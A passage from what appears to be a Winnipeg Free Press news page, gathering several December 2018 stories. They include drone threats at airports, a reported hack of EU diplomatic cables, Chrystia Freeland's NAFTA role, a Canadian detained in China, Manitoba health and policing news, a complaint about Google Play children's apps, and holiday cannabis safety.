it's pretty unlikely, unless it's a very large drone," said John Cox, a former airline pilot and now a safety consultant. Drones that collide with planes could cause more damage than birds of the same size because of their solid motors, batteries and other parts, according to a study released by the FAA. Authorities could capture drones with anti-drone "net guns" that fire lightweight netting, but such equipment can be pricey and have limited range, and it is not widely used. As for taking one down with a rifle, hitting a small, fast-moving object like a drone would be difficult even for a marksman, and the bullet could hit someone, experts say. There's also the risk of damage or injury from a falling drone. Jamming systems could disrupt the signals between drone and operator, but that could interfere with the many vital communication systems in use at an airport, said Marc Wagner, CEO of Switzerland-based Drone Detection Sys. Local laws might also prevent the use of such electronic countermeasures. Wagner said it is OK in Switzerland to use jamming systems, while Britain and the U.S. prohibit them. Dutch police experimented with using eagles to swoop down on drones and pluck them out of the sky over airports or large events, but ended the program last year, reportedly because the birds didn't always follow orders. "The only method is to find the pilot and to send someone to the pilot to stop him," Wagner said. That can be done with frequency spectrum analyzers that can triangulate the drone operator's position, but "the technology is new and it's not commonly used," said Wagner, whose company sells such gear and other counter-drone technology, including radar, jammers and powerful cameras. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. China's DJI Ltd., the world's biggest manufacturer of commercial drones, and some other makers use GPS-based "geofencing" to automatically prevent drones from flying over airports and other sensitive locations, though the feature is easy to get around. DJI also introduced a feature last year that allows authorities to identify and monitor its drones. It wasn't clear what brand was used in the Gatwick incident. British authorities are planning to tighten regulations by requiring drone users to register, which could make it easier to identify the pilot. U.S. law already requires users to register their drones and get certified as pilots. But Wagner warned: "If somebody wants to do something really bad, he will never register." ___ AP Business Writer Cathy Bussewitz in New York contributed to this report. LONDON - Hackers have spent years eavesdropping on the diplomatic communications of European Union officials, a U.S. cybersecurity firm said Wednesday, an operation disrupted only after researchers discovered hundreds of intercepted documents lying around on the internet. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. European Commissioner for Euro and Social Dialogue Valdis Dombrovkis speaks during a media conference at EU headquarters in Brussels, Wednesday, Dec. 19, 2018. The European Commission says it has reached an agreement with Italy to avert action over the country's budget plans, which the EU's executive arm had warned could break euro currency rules. (AP Photo/Virginia Mayo) LONDON - Hackers have spent years eavesdropping on the diplomatic communications of European Union officials, a U.S. cybersecurity firm said Wednesday, an operation disrupted only after researchers discovered hundreds of intercepted documents lying around on the internet. The documents were discovered a few months ago after a malicious email was caught by the Redwood City, California-based Area 1 Security firm, according to company co-founder Blake Darche. He said the firm followed forensic clues in the message back to an unsecured server that had some 1,100 EU diplomatic cables. Darche said he believed that tens of thousands more such documents have been stolen. "We estimate that the ones we found are a small fraction of the overall operation," he said. "From what we can see, the EU has a significant problem on their hands." Darche said the hackers are working for China's People's Liberation Army, a judgment he said was based on eight years spent observing the group. A report published by the group Wednesday laid out the hackers' modus operandi, but attribution is notoriously fickle and others in the field voiced skepticism . Calls to China's mission to the European Union were not returned Wednesday. Beijing has in the past denied similar reports. EU officials are taking the report "extremely seriously" but it is "impossible to comment on leaks," European Commission Vice-President Valdis Dombrovskis told reporters in Brussels. "All communication systems have vulnerabilities, so we're constantly dealing with this challenge," he said. Dombrovskis identified the system hit by the leaks as one managed by the European Council's secretariat, which represents EU member states in Brussels, rather than the commission itself. In an email, the council acknowledged what it described as "a potential leak of sensitive information" and said it was investigating. It offered no further comment. The New York Times, which first reported on the breach, published excerpts of the diplomatic cables after obtaining them from Area 1 ahead of time. Some of the messages appeared to capture European officials struggling to deal with the erratic movements of U.S. President Donald Trump. One such document appeared to capture a senior European official in Washington recommending that envoys from the EU's member nations work around Trump by dealing directly with Congress. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. In another apparent message, European diplomats described a recent summit between Trump and Russian President Vladimir Putin in Helsinki, Finland, as "successful (at least for Putin)." ___ Associated Press writer Lorne Cook in Brussels contributed to this report. ___ Online: Raphael Satter can be reached: http://raphaelsatter.com Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Minister of Foreign Affairs Chrystia Freeland, front, leaves a news conference after touring Tree Island Steel, in Richmond, B.C., on Friday, Aug. 24, 2018. Ultimately, Canada's foreign minister led the country's efforts to salvage a new North American free trade deal. That white-knuckle ride in 2018 has earned Freeland the title of Canada's business news maker of the year. She was the runaway choice of 81 per cent of editors surveyed by The Canadian Press. THE CANADIAN PRESS/Darryl Dyck OTTAWA - There will be drama. Foreign Affairs Minister Chrystia Freeland took pains to predict that in a lengthy August 2017 speech that spelled out Canada's goals at the start of the North American Free Trade Agreement talks with Mexico and the volatile Trump administration. "I chose my words really carefully because you didn't have to be a rocket scientist to anticipate that there would be moments of drama," Freeland recalled in an interview. "We knew there would be moments where we had to fasten our seatbelts, and I think what was important was to be mentally prepared for those moments, and not to be knocked off course by them." Ultimately, Canada's foreign minister led the country's efforts to salvage a new North American free trade deal. That white-knuckle ride earned Freeland the title of Canada's Business Newsmaker of the Year for 2018. She was the runaway choice of 81 per cent of editors surveyed by The Canadian Press. Alberta Premier Rachel Notley was second with nearly 10 per cent. Jeff Labow, an editor with the Globe and Mail's Report on Business, said Freeland "undoubtedly kept her cool amid all the Trump tweeting, lying, changing his direction and ended up with a deal that can be lived with." Hugo Fontaine, business editor of La Presse, said Freeland was the "face and the voice" of the Canadian negotiating team. Freeland led a spasmodic negotiation that was coloured by the personal insults U.S. President Donald Trump hurled at Prime Minister Justin Trudeau and, ultimately, at her. But Freeland said she was never shaken from her "core conviction" "what I truly felt from the minute that the president was elected" that a deal on NAFTA was possible. "One of our colleagues said to me that somehow I seemed always to be a little bit serene. I wouldn't say I was serene, but I was always confident." Freeland was blindsided when Mexico and the U.S. reached a side deal in August, threatening to sideline Canada unless it joined by the end of September. Freeland cut short a three-country European trip and diverted to Washington where she would spend the better part of the next month on the turf of her American counterpart, United States Trade Representative Robert Lighthizer. Trump had already injected an unprecedented level of drama into the talks. There was his ever-present threat to rip up NAFTA, his post-G7 insults calling Trudeau "very dishonest and weak," his frequent broadsides against Canadian farmers and supply management. He imposed punishing tariffs on Canadian and Mexican steel and aluminum and swung a Sword of Damocles threatening to add a 25 per cent tax on all Canadian autos entering the U.S. In late September, days before the U.S.-imposed deadline, Trump told a freewheeling news conference that he was "very unhappy with the negotiations and the negotiating style of Canada. We don't like their representative very much." Prime Minister Justin Trudeau said he wasn't surprised to hear complaints about Canada's negotiating team, led by Freeland. "When you're in a tough negotiation and the other guy complains about the quality of your negotiators, or how tough your negotiators are, that's not a reason you should be changing your negotiator," the prime minister said in an interview. "That's a reason to buy your negotiator a beer at the end of the day." At the time, Freeland held her powder. Looking back, Freeland said she laid down some markers for herself, and for Canada, early on. She began making preparations for NAFTA as soon as Trump was elected two months before her promotion from the trade minister's job to a retooled foreign affairs portfolio that put her in charge of Canada-U.S. trade. Trump may have had the Art of the Deal, but Freeland had Steve Verheul, Canada's chief negotiator. Freeland and Verheul played hardball together to nail down the final version of the Canada-EU trade deal in late 2016, travelling to the nether regions of Belgium to stare down a restive constituency known as the Walloons, who were threatening to veto seven years of negotiations with a Byzantine set of constitutional powers. Heading into NAFTA, Verheul told Freeland they had to remember an important lesson they had learned. "The worst thing in a trade negotiation is to have a weak or uncertain counterparty because then you can't get a deal," the minister recalled. "What you actually really want at the other side of the table is someone who is really smart. Because then, at the end of the day, they will be able, together with you, to identify that win-win landing zone." Freeland calls herself an "economic determinist." That boils down to: "if something makes economic sense, it tends to happen." So Freeland kept her focus on Lighthizer. The strapping septuagenarian may share Trump's protectionist ideology, but he was divorced from the drama of his president's bluster. "Bob, at the end of the day if you made a logical case to him, a logical case about why something was in his interest to agree to, he would understand that." To this day, Freeland said there are things that she and Lighthizer still disagree on. "But he is a real pro and it became clear to me, I would say pretty early on, that notwithstanding the very great, great differences in our starting positions that he was a guy we would ultimately be able to do a deal with." Late in the evening of Sept. 30, as Freeland was with the team assembled in Trudeau's office across from Parliament Hill, Canada and the United States ended the suspense and announced their 11th hour deal. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Exactly two months later, Freeland was at the G20 summit in Argentina. She and Lighthizer, along with their Mexican counterpart, Ildefonso Guajardo, stood behind the three North American leaders as the new trade pact was formally signed. Trump reached out to shake Freeland's hand. "He made a point of that, after the signing. I was always very clear that there would be moments of drama," Freeland recalled. That was all well and good, but she reminded herself of yet another cold, hard fact. "I am paid in Canadian dollars. I work for the people of Canada. And the people whose interests I try, heart and soul to earn, are Canadians', and it is their judgement to which I answer," she said. "That's the judgement that matters to me." TORONTO - An expert in Canada-China relations warns the recent detaining of an Alberta woman over what authorities have called employment issues could signal a ramping up of low-level harassment as the two countries remain locked in a diplomatic dispute. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Flags of Canada and China are placed for the first China-Canada economic and financial strategy dialogue in Beijing, China, Monday, Nov. 12, 2018. Experts say the detaining of an Alberta woman over what authorities call employment issues could signal a ramping up of low-level harassment for Canadians living in China. THE CANADIAN PRESS/AP-Jason Lee/Pool Photo via AP TORONTO - An expert in Canada-China relations warns the recent detaining of an Alberta woman over what authorities have called employment issues could signal a ramping up of low-level harassment as the two countries remain locked in a diplomatic dispute. Lynette Ong, with the Munk School of Global Affairs in Toronto, said Canada's relationship with China fundamentally changed with the arrest of Meng Wanzhou, the chief financial officer of tech giant Huawei in Vancouver on Dec. 1. "I think both sides have actually lost a lot of legitimacy," Ong said Thursday. Wanzhou was arrested at the request of the United States, where she is wanted on fraud allegations. Her arrest enraged China which demanded her release and warned of serious consequences. Days after Meng's arrest, two Canadians were detained in Beijing for allegedly endangering China's national security. Entrepreneur Michael Spavor and Michael Kovrig, a former diplomat on a leave of absence from Global Affairs. Both remain in custody. China's Foreign Ministry spokeswoman Hua Chunying said Thursday a Canadian woman had received an administrative penalty for illegal employment. She did not provide further details. Several news outlets have reported that the Alberta woman who is being detained is Sarah McIver. She has been teaching in China for months. The National Post reported that she was teaching at a school in China when she was detained due to visa complications and that arrangements were being made for her return to Canada. Consular officials are providing assistance to the detainee's family, Global Affairs Canada said. McIver had worked in multiple countries as a teacher, said Shaun Starr, whose brother was in a relationship with the Albertan a few years ago. While they haven't spoken in awhile, Starr said McIver posts about her travels on Facebook and has always been adventurous. "She's a well-spirited person," Starr said in an interview. The Chinese government could be reacting to Meng's arrest by creating bureaucratic inconveniences for Canadians, Ong said. That could include cracking down on people who have overstayed their visas while awaiting their renewal. Canadians who study or do business in China may want to lie low and keep a low profile, she said. "In the short term, in the next couple of months, I would try to cease any operations in China," she said. "I would definitely avoid taking any risky activities because the political environment is just not conducive." Law enforcement officials allege that Wanzhou lied to U.S. banks about a corporate structure devised to get around sanctions against Iran. In China, Ong said Canada is seen as helping the United States with its politically calculated strategy to contain their country. The Chinese government likely wants to show it has bargaining power by making life difficult for Canadians and Canadian businesses, she said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Overstaying a visa while awaiting renewal was previously a grey area that wouldn't land people in much trouble but might now become a problem. "But in this situation where there are bilateral tense relationships, the whole country might want to be tougher than usual," said Ong. "It seems to me that her case falls into one of these categories." Prime Minister Justin Trudeau has said he didn't believe the case was linked to the recent arrests of the two other Canadians in the country. He said Wednesday that the latest case, so far, doesn't involve serious allegations related to China's national security. "These are two very different situations," Trudeau told a news conference in Ottawa. "There are tens of thousands of Canadians who live, travel, work in China in any given year. There are obviously regular situations where Canadians require consular assistance." He added that the government is taking the most recent case seriously and raised visa issues as the sort of thing that might draw Chinese authorities' attention. It's better than Hollywood; the mayor says so. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. It's better than Hollywood; the mayor says so. Brian Bowman pulled a tarp off a city-approved, donated Hollywood-esqe sign placed atop one of the hills in Westview Park at Empress Street and Wellington Avenue on Thursday morning. Mayor Brian Bowman, along with President of SRS Signs and Service Inc. Shane Storie (left) and city councillor Scott Gillingham, unveil the new Garbage Hill sign. (Mikaela MacKenzie / Winnipeg Free Press files) Most Winnipeggers affectionately know the place as "Garbage Hill," and the big white, block letters from SRS Signs and Service have made it sort of official, loud and clear. "It's just tongue-in-cheek," Bowman said. "It's Winnipeggers doing what Winnipeggers do best, and that's just light-hearted, making gentle fun of ourselves. To put a Hollywood-style sign on a hill of garbage, it's just fun." The west Winnipeg landmark served as the city's dump from 1875 to 1948. "What I like about this is, some say Hollywood is built on filth," Bowman said, making note of SRS's generosity in donating the sign. "But this is literally built on garbage, so this is better than the Hollywood sign." The approved signage followed the short-lived but much-discussed appearance of anonymously placed letters in the same area last fall that were removed quickly by city workers after it was determined that sign didn't meet construction regulations. "Whoever did it, I have to give them compliments for capturing the imagination of Winnipeggers," Bowman said. "I understand the name is James (person who placed the original sign) but we don't have a last name. Hopefully James is going to visit here with a smile on his face." The approximately one-metre-tall, six-metres-wide letters are in a font called "Hollywood Hills," inspired by the sign in Los Angeles overlooking the movie-making centre of the universe. Winnipeg's $6,000 version faces the downtown skyline and is attached to poles driven nearly two metres underground so it can withstand Winnipeg's windiest days. The original guerilla Garbage Hill sign was taken down by the city Monday hours after it appeared in September. (Mikaela Mackenzie / Winnipeg Free Press files) "It was just a fun project, seemed interesting and I wanted to be involved," said SRS president Shane Storie, who was on hand for the big reveal. Storie said his friend's company donated the engineering for the sign and he got a reduced rate from another company to install the posts. "I'm the past chair of West End Biz, I was on the Biz board for five or seven years, I had two different homes on Sherburn and my shop is just on the other side," he said. "I just wanted to be involved. We had done the Winnipeg sign (by the Scotiabank Stage at The Forks) and this was just the next neat project to work on." The sign is constructed with aluminum composite panels and the letters are covered in white reflective vinyl sheeting, Storie said. "The moonlight or any flash will jump off, just like a reflective street sign. It'll be around for a long time," he said. MIKAELA MACKENZIE / WINNIPEG FREE PRESSMayor Brian Bowman (from left), councillor Cindy Gilroy, President of SRS Signs and Service Inc. Shane Storie, and councillor Scott Gillingham pose with the new Garbage Hill sign. Storie said Bowman directed the original sign-maker to him. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "He (James) used to come down here for a walk and he thought it would be amusing to make a Garbage Hill sign out of garbage," Storie said, noting the first sign was made from construction scraps. "He quoted to the effect that, 'The noise sounds so nice from far away,' so he does not want to be known." Bowman joked that the city had a difficult time determining where the sign should be situated. "The challenge we had is trying to determine which majestic mountain peak in Winnipeg we were going to erect the sign on," he said, with tongue firmly planted in cheek. "With the robust number of mountains in Winnipeg, that was and remains the challenge, but I hope Winnipeggers enjoy it." ashley.prest@freepress.mb.ca Spinraza, a drug to treat Type 1 spinal muscular atrophy, is one of 79 drugs that will be added to the provincial drug formulary. Hey there, time traveller! This article was published 20/12/2018 (1077 days ago), so information in it may no longer be current. Spinraza, a drug to treat Type 1 spinal muscular atrophy, is one of 79 drugs that will be added to the provincial drug formulary. The formulary acts as a list of therapeutically effective drugs and a list of interchangeable drugs that are covered under Manitoba's Pharmacare Program. Of the new drugs added to the formulary, 73 are generic medications at different strengths. Health Minister Cameron Friesen said the new additions will save the province $350,000 annually, the amount that would have been spent on higher-cost equivalent drugs. The new drugs, which will be covered beginning Jan. 24, range in treatment from heart failure (Lancora), conception control (Kyleena) , short bowel syndrome (Revestive), lower limb spasticity (Dysport Therapeutic), and skin disorder (Actikerall). "Manitoba's universal prescription drug benefit program is one of the most comprehensive in the country and these new additions will help families across the province access drug coverage through the program," Friesen said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The change comes from Manitoba's participation in the pan-Canadian Pharmaceutical Alliance, which aims to capitalize on the combined negotiating power of drug plans across multiple provinces and territories. Durhane Wong-Rieger, president of the Canadian Organization for Rare Disorders, said she is pleased to see provinces like Manitoba include drugs like Spinraza in its provincial drug formulary. "These [drugs] are really, in some cases, depending on the severity of the patient and the age of the patient, a life-saving therapy and definitely a life-altering therapy for those patients who are in need of having an intervention that will slow the progression of their disease," said Wong-Rieger. "From my point of view, a drug like Spinraza is exactly the kind of drug which, even though on the surface can be quite expensive, are going to be in the long run life-savers for millions of patients." Manitoba pharmacare is based on family income and covers 100 per cent of eligible drug costs once the income deductible is reached, regardless of a person's medical condition or age. nadya.pankiw@freepress.mb.ca The announcement seemed out of step with the issue at hand Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. Opinion The announcement seemed out of step with the issue at hand Last week, the city, province and federal government announced a tri-level task force to address the methamphetamine crisis that grips Manitoba. Manitoba Health Minister Cameron Friesen trumpeted the task force as the first of its kind in Canada, a unique partnership between the three levels of government to tackle a pressing issue of health and public safety. "We know the destruction (meth) causes to families and individuals' lives," Friesen said. "We're sitting here because we're saying we want to work together." However, while collaboration may be the intent of the task force, the true impact is to the government's response in the face of a true crisis. Despite evidence that meth represents a rapidly growing, increasingly deadly problem, the task force has been given more than six months to organize, study and report on ways to deal with social, health and justice implications of the meth crisis. Using great fanfare to announce that you're giving a task force six months to study a problem that is ravaging the province is like announcing with great gusto that you're entering a horse-drawn carriage in the Indianapolis 500. Interesting, but ultimately doomed to fail. The province balked at Liberal MP Robert-Falcon Ouellette's involvement, hoping instead for a more senior member of the federal government. (Mike Deal / Winnipeg Free Press) The task force idea was born in September when Winnipeg city council passed a resolution calling for all three levels of government to come together and forge a tripartite strategy to address the meth crisis. The city threatened to form its own working group if the other two levels of government did not pitch in by mid-November. Discussions began in October on creating the task force but became bogged down for weeks, eventually pushing beyond the city's original deadline, according to sources familiar with negotiations. The major hurdle, the sources said, was Ottawa's choice for its representative: Liberal MP Robert-Falcon Ouellette. The province balked at Ouellette's involvement, hoping instead to get someone with more seniority within the Liberal government in Ottawa. Someone like International Trade Minister Jim Carr. Federal officials said Ouellette needed to be involved at the forefront of the task force's work given that his core-area riding, Winnipeg Centre, sees more than its fair share of meth-related misery. Ultimately, a compromise was reached with a pledge that Charleswood MP Doug Eyolfson, a physician with an extensive background in emergency medicine, would support the task force. Given his background, Eyolfson has been a frequent participant in the debate over a governmental response to meth. In its essence, the task force is not a bad idea. City officials will point out that past tripartite and bilateral efforts in the early 2000s helped put a dent in problems such as arsons and auto thefts. Tripartite cooperation has also brought many new infrastructure projects and amenities, such as The Forks Market and national park, and the Canadian Museum for Human Rights. It is true that the best outcomes often come when all levels of government are working in concert. However, it is impossible to ignore the fact that the timetable for this task force will allow all three levels of government to push off significant new expenditures needed to address meth well into the next fiscal year, which begins Jan. 1 for the city and April 1 for the provincial and federal governments. Charleswood MP Doug Eyolfson is a physician given the task of supporting the new task force. He been a frequent participant in the debate over a governmental response to meth. (Mike Deal / Winnipeg Free Press files) That delay is extremely fortuitous for the provincial Progressive Conservative government, which is walking a very fine line right now to maintain its fiscal tack. The province's second quarter financial report, which was released on Wednesday and covers the period between July and September of this year, is a graphic reminder of just how tight the provincial budget is and will be for the foreseeable future. The province is forecasting a small improvement on the provincial deficit, down to $518 million from $521 million estimated in last April's provincial budget. That is quite an accomplishment given that the Tory government has suffered a series of setbacks on the revenue side of government finances. Chief among those setbacks was Premier Brian Pallister's decision to withdraw his own carbon tax plan. That eliminated $143 million of tax revenue that was factored into the current budget. To help offset the impact of that decision, the province has underspent by more than $107 million, including coming in $50 million under budget in health care. Dan Lett | Not for Attribution A weekly look at politics close to home and around the world that is sent every Tuesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. No matter how you slice it, this just doesn't look like a government that wants to pump money into addiction and mental health services both desperately needed to address meth's unique profile at the risk of arresting the deficit's downward trajectory. That image was fortified with comments made by Pallister in his year-end interview with the Free Press. Pallister said that while he acknowledges the need to address the meth crisis, he described it as just one of many priorities his government faces. "What I cannot ever do as premier, and what our government cannot do, is forget that there are a lot of other people in the province that have other priorities at the same time that may not involve meth," he said. If long-term solutions are the goal of the task force, then there is really no excuse for the three levels of government to look for some meaningful short-term measures as well. To date, the provincial and federal government have only been able to find a combined $8.4 million to expand addiction treatment, a drop in the bucket when compared to the tsunami of death, destruction and misery meth is has unleashed on this province. But only if those governments involved in the task force are willing to see meth as a crisis that requires immediate attention. And to date, not all governments believe that to be the case. dan.lett@freepress.mb.ca @freepress.mb.ca Rebecca Dahl was was directed into a Winnipeg Police Service checkstop Tuesday night while driving over the Disraeli Bridge on her way home from work. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. Rebecca Dahl was was directed into a Winnipeg Police Service checkstop Tuesday night while driving over the Disraeli Bridge on her way home from work. An officer asked where the 24 year old was travelling from and whether shed had any alcohol to drink. She hadnt, so it wasn't long before she was on her way. Based on their brief conversation and Dahl's behaviour, there was no apparent reason to test for alcohol in her blood. But a new impaired-driving law rolled out across Canada Tuesday gives police the power to demand a breath sample, even if officers have no reason to suspect alcohol use. "(Previously), an officer would have to have reasonable suspicion," said Sgt. Mark Hume, the unit commander for the RCMP's Manitoba West Traffic Services. "As of (Tuesday), that reasonable suspicion isnt necessary." Officers, Hume said, already have the freedom to pull over drivers for a variety of reasons, including licence and registration checks and vehicle safety issues. "We already have the authority to pull them over to check their sobriety," he said. "This just gives us one more tool." WPS impaired driving countermeasures co-ordinator Const. Stephane Fontaine said officers now have the opportunity to test more drivers, some of whom might have been waved through despite having consumed alcohol because they weren't showing obvious signs of intoxication. "As far as I understand, in our continuous fight against impaired driving, they wanted to make it simpler for officers to do their job," Fontaine said. JOE BRYKSA / WINNIPEG FREE PRESS FILES A new impaired-driving law rolled out across Canada Tuesday giving police the power to demand a breath sample, even if officers have no reason to suspect alcohol use. But while the overall goals increased road safety and fewer impaired-driving injuries and fatalities of the new law might be noble, the means by which theyre being pursued raises concerns over potential abuse of power by police, as well as infringement on rights, said Winnipeg defence lawyer Sarah Inness. "The concern that I have is that now police have the power to compel any driver without any grounds whatsoever to provide a breath sample, detaining them without grounds and presenting a sample that might incriminate themselves," Inness said. "Theres a potential for arbitrary or discriminatory application of their demands, and I think that is troubling." Inness said the Supreme Court of Canada ruled in 2005 that police can administer sobriety tests on drivers who dont have access to counsel, a Charter right. In that case, the court decided the infringement on the right to counsel was justified given the importance of "detecting and deterring drunk driving." 'Theres a potential for arbitrary or discriminatory application of their demands, and I think that is troubling' Winnipeg defence lawyer Sarah Inness But Inness said the door might be open now to a challenge over breaching the right to counsel because police no longer need grounds to demand a breath sample. Mothers Against Drunk Driving Canada legal counsel Eric Dumschat expects challenges to the new laws. "But we are confident that they will be upheld as constitutional when it eventually reaches the Supreme Court," he said. Under the previous law, Dumschat says, police "under no fault of their own" fail to apprehend about half of the drivers at or above the legal limit when relying on methods such as smelling alcohol on a drivers breath or through general conversation at checkstops. "(The new law) takes away the subjective element and implements objective scientific tests." TREVOR HAGAN / WINNIPEG FREE PRESS FILES Police officers in Manitoba already have the freedom to pull over drivers for a variety of reasons, including licence and registration checks and vehicle safety issues. Dumschat points to other countries, such as Australia, which have seen significant reductions in impaired-driving fatalities since the implementation of similar laws. "Currently, about 1,000 Canadians die in impaired-driving incidents, and about 60,000 are injured each year," he said. Hume said, so far this year, 81 people have died on Manitoba roads policed by the RCMP, and about half of them are attributable to alcohol impairment. He expects the law will result in more arrests and fewer fatalities. Yet, with that in mind, Inness is concerned that officers with racial or ethnic biases will unfairly target certain groups. "In other circumstances where racial profiling or unethical targeting is done, the basis for why officers did what they did can be questioned and police can be called on to explain," she said. "In these cases, because grounds arent required, theres no real way to determine why one person was stopped and not another." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Hume said he doesnt think that any group of people will be treated differently than others on the basis of race, ethnicity or other traits. "Our directions and teachings are not to target anyone unfairly or differently," he said. Inness remains concerned. "I see this as there really not being a check and balance on the potential misuse of police power, whereby an officer could apply that power in a discriminatory or arbitrary manner and never be held to account," she said. For her part, Dahl has no problem with the new law and didn't mind being stopped. "I dont drive drunk, and I think its good if it will deter people from drinking and driving," she said. Hey there, time traveller! This article was published 20/12/2018 (1077 days ago), so information in it may no longer be current. Winnipeggers can now report fraud, drug incidents and gang activity online. The changes, announced today, include seven new reporting categories in the Winnipeg Police Services online reporting system. The new categories allow residents to submit fraud reports and crime tips for minor incidents where the suspect is known something the eight previously existing reporting categories don't allow. Police are also introducing a new Quick Connect Service, which directs some residents reporting by telephone to a separate line where they will input their cellphone number and receive a link to the online system via text message. In addition, new pre-screening questions on each online form will direct people to an appropriate resource if they are using the wrong category or trying to file a report that cant be done online. The updates will help police manage continuing high call volumes and streamline crime reporting in the city by offering an alternative to traditional reporting methods, according to a release announcing the new initiative. They will also help people who need incident numbers quickly for purposes such as insurance and let officers address higher-priority calls, according to Insp. Gene Bowers. "It does help with resources on the street," he said. Bowers also pointed to technology when asked what prompted the updates. "Society in general wants to leverage existing technologies, and the police service is no different," he said. The police service's online crime reporting system has allowed people to report non-violent crimes since 2012 and was updated in 2017 to include property crimes, break-ins, thefts and traffic complaints. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. In 2016, the system dealt with 16,000 reports, a number up 38 per cent from the year before, according to police. The WPS has seen another uptake in online reporting since then. It expects around 26,000 reports to have been made through the system by the end of this year, Bowers said. The system also encourages people to report who wouldnt do so by traditional means, which helps the police keep more accurate crime statistics, he said. Online crime reports will still exclude any fraud, theft, loss or property damage over $5,000, and the eight previously existing categories will still only allow for reports where the suspect is unknown. Citizens who would like to report anonymously are encouraged to contact Crime Stoppers at 204-786-8477. ryan.job@freepress.mb.ca The Campaign for a Commercial-Free Childhood and 21 other child advocacy groups have sent a lengthy letter to the Federal Trade Commission, urging the regulatory body to launch an investigation into Google for inappropriate apps directed at children on the Google Play Store, including some that the groups say violate the Childrens Online Privacy Protection Act (COPPA). Specifically, the complaint alleges that many of the apps in Google Plays Family section are advertised as safe for children despite the fact that numerous apps within collect, use, or share personal information from children without providing notice to parents, target kids with in-app purchases or advertising, or plainly feature content not appropriate for young audiences. The complaint, and the advocacy groups own research, was prompted by a University of Michigan study that analyzed the advertising content of 135 apps from Google Plays Ages 5 and Under category. That study found that 95 percent contained some sort of advertising, 54 percent featured disruptive or difficult to close pop-up ads, and that the many popular apps influence children to watch ads or make in-app purchases. Following that, the advocacy groups conducted their own audit of hundreds of apps to analyze the themes, ad content, and data gathered within each and described its findings as similar to that University of Michigan report. In addition to COPPA violations, the letter points out several examples of games that contain dangerous or disturbing content found in the Play Stores Family section like Crazy Eye Clinic - Doctor X where the child is told to pry open the patients eyes with clamps and use tweezers to pick out eyelashes or Ear Doctor Clinic Kids Games which tells children to use scissors to cut the hair around and inside an infected ear. Several more examples of games with both ads and content deemed inappropriate for children are named in the full letter. In all cases, the child advocacy groups say that these apps are approved by Google to be featured in the Family category despite not complying with COPPA or Googles own policies about advertising and content. The Family section of the Play Store has thousands of apps. Parents who want to download apps for their children act reasonably in following Googles advice to limit their search to the Family section or to look for the family-friendly star, reads the letter. Unfortunately, Googles representations about the apps in the Family section are often false or misleading. As shown above, many apps do not comply with COPPA, engage in prohibited behavioral advertising, show inappropriate ads, use unfair or deceptive marketing practices, and/or show ads or content inappropriate for children. Such misrepresentations violate Section 5 of the FTC Act. In a statement offered to Buzzfeed, a Google spokesperson said we regularly monitor, review and take down apps from Google Play. Weve removed thousands of apps from [Designed for Families] this year alone when we found a policy violation. If you're having some wobbly pops or adding pot to your festive celebrations now that it's legal, don't mix pot and booze, and don't use either and drive. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. If you're having some wobbly pops or adding pot to your festive celebrations now that it's legal, don't mix pot and booze, and don't use either and drive. Those are two key points in a safety alert issued this week by Health Canada to remind people during the 2018 holiday season about smart and safe consumption of alcohol and cannabis, which became legal for recreational use Oct. 17. The Health Canada alert also reminded people to never get into a vehicle with a driver who is suspected of consuming cannabis, alcohol or drugs. "There's a lot of things people should keep in mind if they're choosing to use cannabis or alcohol now, over the holidays or anytime, really," said Dr. Joss Reimer. "Probably the most important message is around driving. Don't use any alcohol or cannabis if you're going to be driving or operating any other sort of machinery. They have big impacts on your ability to do that safely. They decrease your reaction time, they impact your judgement and your ability to understand time and space." People should never mix alcohol and cannabis or any other drug because the potential harms of each can be compounded, Reimer said. "For example, cannabis and alcohol are both very sedating, so if you mix both of them together, you even more increase the likelihood of you having difficulty because you're sedating your body and your brain," Reimer said. Deanna Garand, manager of Tokyo Smoke in Winnipeg's Exchange District, said her staff educates customers purchasing cannabis products to go "low" and "slow," which is also advised by Health Canada. People shouldn't mix alcohol and cannabis or other drugs because the potential harms of each can be compounded. (Thomas Samson / AFP files) "That's a big thing that our brand focuses on. That's low THC, small amounts, working your way up, so that you're not shocking your system and consuming too much too fast. That can put you at a higher risk of maybe not having the best experiences," said Garand, referring to delta-9-tetrahydrocannabinol (THC), which is the chemical substance that causes the feeling of being high when using cannabis. Health Canada cautioned the potential for harmful effects "may be greater when the strength of THC is higher." "When we have people shopping for other people, we're steering people toward something with lower THC levels," Garand said. "If they're shopping for a gift, something that might have more CBD in it. That's going to balance it out a bit more." Garand said CBD (cannabidiol) is a cannabinoid that's non-psychoactive, so it doesn't cause people to be high. Health Canada said there is some evidence higher amounts of CBD may block or lower the high produced by THC. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more 